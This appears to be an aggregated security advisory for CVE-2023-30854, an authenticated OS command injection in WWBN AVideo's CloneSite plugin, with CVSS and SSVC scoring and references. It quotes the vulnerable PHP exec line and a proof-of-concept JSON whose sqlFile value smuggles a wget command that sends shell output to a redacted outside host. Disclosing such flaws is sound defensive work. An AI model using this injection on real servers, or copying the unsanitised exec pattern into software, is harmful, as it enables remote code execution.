Advisory details:
github_osv / GHSA-6vrj-ph27-qfp3
| Advisory ID | github_osv/GHSA-6vrj-ph27-qfp3 |
| Aliases |
CVE-2023-30854
|
| Summary | Remote code injection in wwbn/avideo # WWBN Avideo Authenticated RCE - OS Command Injection ## Description An OS Command Injection vulnerability in an Authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution. Vulnerable code: ```php $cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}"; $log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file"); exec($cmd . " 2>&1", $output, $return_val); ``` We can control `$objClone->cloneSiteURL` through the admin panel clone site feature. `/plugin/CloneSite/cloneClient.json.php` sends a GET Request to `{$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php`. I hosted a specially crafted `cloneServer.json.php` that prints the following JSON data ```JSON {"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]} ``` Send a GET Request to `/plugin/CloneSite/cloneClient.json.php` then remote code execution is achieved.  |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.9 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.8 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/04/GHSA-6vrj-ph27-qfp3/GHSA-6vrj-ph27-qfp3.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| https://github.com/WWBN/AVideo/commit/020415d22f36d93ed865eb61994b49caa0f7f90a | ||
| CVE-2023-30854 | https://nvd.nist.gov/vuln/detail/CVE-2023-30854 | |
| GHSA-6vrj-ph27-qfp3 | https://github.com/WWBN/AVideo/security/advisories/GHSA-6vrj-ph27-qfp3 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-01-30T17:05:50Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2023/30xxx/CVE-2023-30854.json
Source Advisory: vulnrichment/CVE-2023-30854
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]